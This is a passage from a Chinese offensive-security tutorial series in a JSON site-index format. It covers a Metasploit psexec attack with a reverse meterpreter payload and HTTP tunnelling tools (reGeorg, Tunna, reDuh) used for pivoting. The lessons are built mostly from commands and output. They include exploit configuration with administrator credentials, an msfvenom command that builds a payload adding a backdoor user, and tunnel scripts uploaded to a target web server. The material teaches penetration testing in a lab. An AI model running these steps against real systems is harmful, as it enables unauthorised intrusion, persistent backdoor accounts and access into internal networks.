08:33:28.868187] Server set cookie ASP.NET_SessionId=boyfcepcijf43s0dhaz5of05; path=/; HttpOnly [2019‐01‐28 08:33:28.868269] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8861 (Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C [2019‐01‐28 08:33:29.077903] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:29.077967] Disengaging tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:29.077987] Closing client socket (192.168.1.3:8861 ‐ > 192.168.1.5:33389) [2019‐01‐28 08:33:29.078049] Exception while closing client socket (192.168.1.3:8861 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected [2019‐01‐28 08:33:29.085280] Server closed connection ID CEA116F4AF1FAF8C [2019‐01‐28 08:33:36.957446] Client connected to 192.168.1.5:33389 [2019‐01‐28 08:33:36.957601] Waiting for client connection to 192.168.1.5:33389 [2019‐01‐28 08:33:36.957797] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx [2019‐01‐28 08:33:36.966507] Server set cookie ASP.NET_SessionId=bsynuc3l5ndo5h0n0bhtrv5p; path=/; HttpOnly [2019‐01‐28 08:33:36.966587] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD [2019‐01‐28 08:33:45.321612] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report [2019‐01‐28 08:33:45.321700] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report [2019‐01‐28 08:33:48.482758] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 715 bytes sent since last report [2019‐01‐28 08:33:48.482838] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report [2019‐01‐28 08:33:54.169354] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:54.169432] Disengaging tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389) [2019‐01‐28 08:33:54.169455] Closing client socket (192.168.1.3:8862 ‐ > 192.168.1.5:33389) [2019‐01‐28 08:33:54.169529] Exception while closing client socket (192.168.1.3:8862 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected [2019‐01‐28 08:33:54.178078] Server closed connection ID AA0FE7F073A5EFFD 非常遗憾的是,目前不支持PHP。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/97_MSF配置自定义Payload控制目标主机权限.html":{"url":"Chapter1/91-100/97_MSF配置自定义Payload控制目标主机权限.html","title":"第九十七课:MSF配置自定义Payload控制目标主机权限","keywords":"","body":"MSF的exploit模块下是支持set payload的,同样在复杂的网络环境下,许多模块也同样支持自定义的payload。可以更好的配合第三方框架,如第十一课中提到的Veil-Evasion等。 以exploit/windows/smb/psexec为demo。 攻击机配置如下: msf exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOST 192.168.1.119 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target fo rpretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN\\$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass 123456 no The password for the specified username SMBUser administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.5 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Automatic 需设置一非,常用选项: msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe 靶机当前端口如下: 攻击机执行: 靶机端口变化如下: 虽报错,但并不影响执行。 注意: Psexec创建一个服务后,来运行可执行文件(如Micropoor.exe)。但是将可执行文件作为服务,payload必须接受来自控制管理器的命令,否则将会执行失败。而psexec创建服务后,将随之停止,该payload处于挂起模式。 参考该服务源码: https://github.com/rapid7/metasploit-framework/blob/master/data/templates/src/pe/exe/service/service.c payload启动后,将会在过一段时间内退出。并强制终止。 故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。 root@John:/tmp# msfvenom ‐p windows/adduser PASS=Micropoor$123 USER=Micropoor ‐f exe >adduser.exe [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [‐] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 279 bytes Final size of exe file: 73802 bytes 同样可以配合target的改变来解决控制管理器的强制命令接收。 攻击机设置: msf exploit(windows/smb/psexec) > show targets Exploit targets: Id Name ‐‐ ‐‐‐‐ 0 Automatic 1 PowerShell 2 Native upload 3 MOF upload msf exploit(windows/smb/psexec) > set target 2 target => 2 msf exploit(windows/smb/psexec) > exploit [*] Started reverse TCP handler on 192.168.1.5:53 [*] 192.168.1.119:445 ‐ Connecting to the server... [*] 192.168.1.119:445 ‐ Authenticating to 192.168.1.119:445 as user 'administrator'... [*] 192.168.1.119:445 ‐ Uploading payload... kKwZpPRs.exe [*] 192.168.1.119:445 ‐ Using custom payload /var/www/html/bin_tcp_x86\\_53.exe, RHOST and RPORT settings will be ignored! [*] 192.168.1.119:445 ‐ Created kKwZpPRs.exe... [‐] 192.168.1.119:445 ‐ Unable to remove the service, ERROR_CODE: [‐] 192.168.1.119:445 ‐ Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY [*] Exploit completed, but no session was created. 目标机: 在执行payload即可。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/98_HTTP隧道reGeorg第二季.html":{"url":"Chapter1/91-100/98_HTTP隧道reGeorg第二季.html","title":"第九十八课:HTTP隧道reGeorg第二季","keywords":"","body":"reGeorg简介: reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款 http 隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX 等页面上传到目标服务器,便可以访问该服务器后面的主机。 2014年blackhat介绍https://www.blackhat.com/eu-14/arsenal.html#regeorg Github:https://github.com/sensepost/reGeorg 攻击机:192.168.1.5 Debian192.168.1.4 Windows 7 靶机:192.168.1.119 Windows 2003 安装: root@John:~# git clone https://github.com/sensepost/reGeorg.git Cloning into 'reGeorg'... remote: Enumerating objects: 85, done. remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85 Unpacking objects: 100% (85/85), done. root@John:~# cd reGeorg/ root@John:~reGeorg# ls LICENSE.html LICENSE.txt README.md reGeorgSocksProxy.py tunnel.ashx tu nnel.aspx tunnel.js tunnel.jsp tunnel.nosocket.php tunnel.php tunnel.tomcat.5.jsp root@John:~/reGeorg# python reGeorgSocksProxy.py ‐h _____ _____ ______ __|___ |__ ______ _____ _____ ______ | | | ___|| ___| || ___|/ \\| | | ___| | \\ | ___|| | | || ___|| || \\ | | | |__|\\__\\|______||______| __||______|\\_____/|__|\\__\\|______| |_____| ... every office needs a tool like Georg willem@sensepost.com / @_w_m__ sam@sensepost.com / @trowalts etienne@sensepost.com / @kamp_staaldraad usage: reGeorgSocksProxy.py [‐h] [‐l] [‐p] [‐r] ‐u [‐v] Socks server for reGeorg HTTP(s) tunneller optional arguments: ‐h, ‐‐help show this help message and exit ‐l , ‐‐listen‐on The default listening address ‐p , ‐‐listen‐port The default listening port ‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST ‐u , ‐‐url The url containing the tunnel script ‐v , ‐‐verbose Verbose output[INFO\\|DEBUG] root@John:~/reGeorg# pip install urllib3 Requirement already satisfied: urllib3 in /usr/lib/python2.7/dist‐packages (1.24) 靶机执行: 以aspx为demo。 攻击机执行: python reGeorgSocksProxy.py ‐p 8080 ‐l 192.168.1.5 ‐u http://192.168.1.119/tunnel.aspx Windows下配合Proxifier: 非常遗憾的是,目前大部分waf都会针对默认原装版本的reGeorg。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/99_HTTP隧道Tunna第三季.html":{"url":"Chapter1/91-100/99_HTTP隧道Tunna第三季.html","title":"第九十九课:HTTP隧道Tunna第三季","keywords":"","body":"Tunna简介: Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。 Tunna演示稿:https://drive.google.com/open?id=1PpB8_ks93isCaQMEUFf_cNvbDsBcsWzE Github:https://github.com/SECFORCE/Tunna 攻击机:192.168.1.5 Debian192.168.1.4 Windows 7 靶机:192.168.1.119 Windows 2003 安装: root@John:~# git clone https://github.com/SECFORCE/Tunna.git Cloning into 'Tunna'... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (6/6), done. remote: Total 156 (delta 0), reused 2 (delta 0), pack‐reused 150 Receiving objects: 100% (156/156), 8.93 MiB | 25.00 KiB/s, done. Resolving deltas: 100% (84/84), done. 靶机执行: 以aspx为demo。 攻击机执行: python proxy.py ‐u http://192.168.1.119/conn.aspx ‐l 1234 ‐r 3389 ‐s ‐ v 附录: 解决:General Exception: [Errno 104] Connection reset by peer [+] Spawning keep‐alive thread [‐] Keep‐alive thread not required [+] Checking for proxy: False 连接后,出现 General Exception: [Errno 104] Connection reset by peer 等待出现:无法验证此远程计算机的身份,是否仍要连接? 再次运行,在点击是(Y) python proxy.py ‐u http://192.168.1.119/conn.aspx ‐l 1234 ‐r 3389 ‐s ‐ v 如果:没有出现“无法验证此远程计算机的身份,是否仍要连接?” 注册表键值: HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers 删除对应IP键值即可。 非常遗憾的是,Tunna对PHP的支持并不是太友好。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/91-100/100_HTTP隧道reDuh第四季.html":{"url":"Chapter1/91-100/100_HTTP隧道reDuh第四季.html","title":"第一百课:HTTP隧道reDuh第四季","keywords":"","body":"reDuh简介: reDuh是sensepost由2008-07年发布,从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。 BlackHat USA 2008介绍:https://drive.google.com/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By- Github:https://github.com/sensepost/reDuh 攻击机:192.168.1.5 Debian192.168.1.4 Windows 7 靶机:192.168.1.119 Windows 2003 安装: root@John:~# git clone https://github.com/sensepost/reDuh.git Cloning into 'reDuh'... remote: Enumerating objects: 47, done. remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47 Unpacking objects: 100% (47/47), done. root@John:~# cd reDuh/ root@John:~/reDuh# ls README.markdown reDuhClient reDuhServers 靶机执行: 以aspx为demo。 攻击机执行:绑定端口: root@John:~/reDuh/reDuhClient/dist# java ‐jar reDuhClient.jar http://192.168.1.119/reDuh.aspx [Info]Querying remote web page for usable remote service port [Info]Remote RPC port chosen as 42000 [Info]Attempting to start reDuh from 192.168.1.119:80/reDuh.aspx. Using service port 42000. Please wait... [Info]reDuhClient service listener started on local port 1010 开启新terminal,建立隧道命令如下:[createTunnel][本地绑定端口]: 127.0.0.1:[远程端口] root@John:~# telnet 127.0.0.1 1010 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Welcome to the reDuh command line >>[createTunnel]30080:127.0.0.1:80 Successfully bound locally to port 30080. Awaiting connections. 攻击机端口前后对比: root@John:~# netstat ‐ntlp Active Internet connections (only servers) Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau tcp6 0 0 :::22 :::* LISTEN 674/sshd root@John:~# netstat ‐ntlp Active Internet connections (only servers) Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau tcp6 0 0 :::1010 :::* LISTEN 6102/java tcp6 0 0 :::22 :::* LISTEN 674/sshd tcp6 0 0 :::30080 :::\\* LISTEN 6102/java 访问攻击机30080端口,既等价于访问靶机80端口 root@John:~# curl http://192.168.1.5:30080/ 建设中 ... 遗憾的是reDuh年代久远,使用繁琐,并官方已停止维护。但是它奠定了HTTP隧道。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "}}